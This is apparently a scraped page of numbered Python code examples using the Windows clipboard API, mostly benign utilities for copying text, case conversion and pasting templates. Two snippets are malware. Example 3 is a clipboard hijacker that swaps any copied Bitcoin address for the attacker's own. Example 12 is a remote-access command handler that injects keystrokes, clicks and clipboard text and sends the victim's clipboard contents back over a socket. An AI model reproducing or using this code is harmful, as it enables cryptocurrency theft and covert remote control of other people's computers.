Beispiel #1
0
def clipboard_set_text(text, to_open=True, to_close=True):
    """
    Set text to clipboard.

    :param text: the text to set.

    :param to_open: open clipboard before doing.

    :param to_close: close clipboard after done.

    :return: None.
    """
    # If need open clipboard
    if to_open:
        # Open clipboard
        OpenClipboard()

    #
    try:
        # Empty clipboard
        EmptyClipboard()

        # Set text to clipboard
        SetClipboardText(text, CF_TEXT)

        # Set text to clipboard as Unicode
        SetClipboardText(text, CF_UNICODETEXT)
    finally:
        # If need close clipboard
        if to_close:
            # Close clipboard
            CloseClipboard()
Beispiel #2
0
def OnKeyboardEvent(event):
    global TemplateStr
    global ChangeFlag
    global path
    global BeforeStamp
    global Name
    global Description
    global EipNumber

    if event.Key == "F2":
        # Check if the Template File has been modified
        CurrentStamp = os.path.getmtime(path)
        if ChangeFlag is True or CurrentStamp != BeforeStamp:
            InitTemplateStrFromFile()
            ChangeFlag = False

        # Check if the Template File is valid
        if TemplateStr == "":
            ShowMessageBox("Please Check the Setting: Name Description [EIPNo.]", "Invalid Setting")
            return True

        # Check current cursor on what file
        window = GetForegroundWindow()
        title = GetWindowText(window)

        # Copy the Template Str to cursor position
        OpenClipboard()
        EmptyClipboard()

        if ".sdl" in title:
            SetClipboardText("#" + TemplateStr + ">>\n\n" + "#" + TemplateStr + "<<\n")
        elif "Commit - TortoiseGit" in title:
        
            if EipNumber != "":
                CommitStr = "**  [M00x]\n     Issue        : [EIP"+EipNumber+"] "+Description
            else:
                CommitStr = "**  [M00x]\n     Issue        : "+Description

            CommitStr += "\n     Cust.Ref.No. :"
            CommitStr += "\n     Label        : " + TemplateStr
            CommitStr += "\n     File         : "
            SetClipboardText(CommitStr)
            
        else:
            SetClipboardText("//" + TemplateStr + ">>\n\n" + "//" + TemplateStr + "<<\n")

        CloseClipboard()
        keybd_event(17, 0, 0, 0)  # key Ctrl
        keybd_event(86, 0, 0, 0)  # key v
        keybd_event(17, 0, KET_RELEASE, 0)  # release Key Ctrl
        keybd_event(86, 0, KET_RELEASE, 0)  # release Key v

    return True
Beispiel #3
0
def checkClipBoard():
	OpenClipboard()
	data = GetClipboardData()
	if len(data) == 34 and data[0] == "1": #detect if the user is copying a bitcoin address.
		EmptyClipboard()
		SetClipboardText("Your bitcoin address.")
	CloseClipboard()
Beispiel #4
0
def clipboard_to_camelcase():
    """
    Hotkey function that converts text in clipboard to camelCase.

    :return: None.
    """
    # Open clipboard
    clipboard_open()

    try:
        # Get text from clipboard
        text = GetClipboardData(CF_TEXT)

        # If the text is empty
        if not text:
            # Ignore
            return

        # If is not Python 2
        if not _IS_PY2:
            # Convert the text to Unicode
            text = text.decode('gbk')

        # Replace non-letter character to space
        text = re.sub(r'[^A-Z0-9a-z]', ' ', text)

        # Split text to words by white-space,
        # capitalize each word,
        # join the capitalized words into text.
        text = ''.join(word.capitalize() for word in text.split())

        # If the text is not empty
        if text:
            # Convert the text to camelCase
            text = text[0].lower() + text[1:]

        # Empty clipboard
        EmptyClipboard()

        # Set the text to clipboard
        SetClipboardText(text, CF_TEXT)

        # Set text to clipboard as Unicode
        SetClipboardText(text, CF_UNICODETEXT)
    finally:
        # Close clipboard
        CloseClipboard()
def copy_to_clipboard(text: str):
    try:
        OpenClipboard()
        EmptyClipboard()
        SetClipboardText(text, CF_UNICODETEXT)
        CloseClipboard()
    except:
        log_record('не удалось поместить данные в clipboad')
 def set(self, text: str) -> None:
     try:
         OpenClipboard()
         EmptyClipboard()
         SetClipboardText(text)
         CloseClipboard()
     except Exception as ex:
         if len(ex.args) == 0 or ex.args[0] not in ALLOWED_ERRORS:
             logging.error(f'Failed to set clipboard text: {ex}')
Beispiel #7
0
def clipboard(msg=None):
    x = ""
    OpenClipboard()
    if msg:
        EmptyClipboard()
        SetClipboardText(msg)
    else:
        x = GetClipboardData()
    CloseClipboard()
    return x
Beispiel #8
0
def copy(prompt: str, text: str) -> None:
    try:
        OpenClipboard()
        EmptyClipboard()
        SetClipboardText(text)
        CloseClipboard()
    except:
        error(prompt=f"Error Copying {prompt.strip()} to Clipboard")
    else:
        showShortInfo(prompt=f"Copied {prompt.strip()} to Clipboard")
Beispiel #9
0
    def copy(self):
        selected_widget = self.widget.focus_get()
        selection_text = ""
        if selected_widget.selection_present():
            selection_text = selected_widget.selection_get()

        OpenClipboard()
        EmptyClipboard()
        SetClipboardText(selection_text)
        CloseClipboard()
Beispiel #10
0
def clipboard_preserve_context():
    """
    Preserve clipboard value on entering the context, and restore on exiting.

    :return: None.
    """
    try:
        # Get current value in clipboard
        text_old = clipboard_get_text()
        # ^ raise error
    except Exception:
        # Use None as current value in case of error
        text_old = None

    # End of entering-context code
    yield text_old

    # Start of exiting-context code

    # If clipboard had text
    if text_old is not None:
        # Set clipboard to old text
        try:
            # Open clipboard
            clipboard_open()

            # Empty clipboard
            EmptyClipboard()

            # Set old text to clipboard
            SetClipboardText(text_old, CF_TEXT)

            # Set old text to clipboard as Unicode
            SetClipboardText(text_old, CF_UNICODETEXT)
        except Exception:
            # Ignore any error
            pass
        finally:
            # Close clipboard
            CloseClipboard()
Beispiel #11
0
def clipboard_to_uppercase():
    """
    Hotkey function that converts text in clipboard to UPPERCASE.

    :return: None.
    """
    # Open clipboard
    clipboard_open()

    try:
        # Get text from clipboard
        text = GetClipboardData(CF_TEXT)

        # If the text is empty
        if not text:
            # Ignore
            return

        # Convert to upper case
        text = text.upper()

        # Empty clipboard
        EmptyClipboard()

        # Set text to clipboard
        SetClipboardText(text, CF_TEXT)

        # If is not Python 2
        if not _IS_PY2:
            # Convert the text to Unicode
            text = text.decode('gbk')

        # Set text to clipboard as Unicode
        SetClipboardText(text, CF_UNICODETEXT)
    finally:
        # Close clipboard
        CloseClipboard()
Beispiel #12
0
def inject_input(injection_type, arg):
    try:
        if injection_type == 'ty':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
                return
            pyautogui.typewrite(arg)
            s.sendall('[+]Injected typewritten character/s' + End)
        elif injection_type == 'pr':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
                return
            pyautogui.press(arg)
            s.sendall('[+]Injected pressed key' + End)
        elif injection_type == 'sh':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
                return
            if ' ' in arg:
                arg = arg.split(' ')
                for key in arg:
                    pyautogui.keyDown(key)
                for key in reversed(arg):
                    pyautogui.keyUp(key)
                s.sendall('[+]Injected keyboard shortcut' + End)
            else:
                pyautogui.hotkey(arg)
                s.sendall('[+]Injected keyboard shortcut' + End)
        elif injection_type == 'valids':
            tar_list = '|/'.join(valid_keys)
            s.sendall(tar_list + End)
        elif injection_type == 'clip_clear':
            OpenClipboard()
            EmptyClipboard()
            s.sendall('[+]Cleared clipboard content' + End)
            CloseClipboard()
        elif injection_type == 'clip_dump':
            OpenClipboard()
            try:
                injection_type = GetClipboardData()
            except TypeError:
                s.sendall('[+]Clipboard content is empty' + End)
                return
            CloseClipboard()
            s.sendall('[+]Dumped content : ' + injection_type + End)
        elif injection_type == 'clip_set':
            if not arg:
                s.sendall('[-]Input a string' + End)
                return
            OpenClipboard()
            EmptyClipboard()
            SetClipboardText(arg)
            CloseClipboard()
            s.sendall('[+]Injected cliboard data' + End)
        elif injection_type == 'click_left':
            pyautogui.click(button='left')
            s.sendall('[+]Injected left mouse click' + End)
        elif injection_type == 'click_right':
            pyautogui.click(button='right')
            s.sendall('[+]Injected right mouse click' + End)
        elif injection_type == 'move_to':
            if not arg:
                s.sendall('[-]Supply a coord as an arg'+End)
                return
            try:
                arg = arg.split(' ')
                cord_one = int(arg[0])
                cord_two = int(arg[1])
                pyautogui.moveTo(x=cord_one, y=cord_two)
                s.sendall('[+]Injected mouse movement' + End)
            except:
                s.sendall('[-]Input X and Y coordinates as integers' + End)
                return
        elif injection_type == 'dimensions':
            dimensions = pyautogui.size()
            dimensions = '[+]Dimensions of screen : ' + str(dimensions[0]) + ' x ' + str(dimensions[1])
            s.sendall(dimensions + End)
        elif injection_type == 'position':
            current = pyautogui.position()
            current = '[+]Current mouse position : ' + str(current[0]) + ' x ' + str(current[1])
            s.sendall(current + End)
        else:
            s.sendall('[-]Unknown command "' + injection_type + '", run "help" for help menu' + End)
    except Exception as e:
        s.sendall('[-]Error injecting keystrokes : ' + str(e))
Beispiel #13
0
 def copy_to_clipboard(self):
     OpenClipboard()
     EmptyClipboard()
     SetClipboardText(self.output_label.text(), CF_UNICODETEXT)
     CloseClipboard()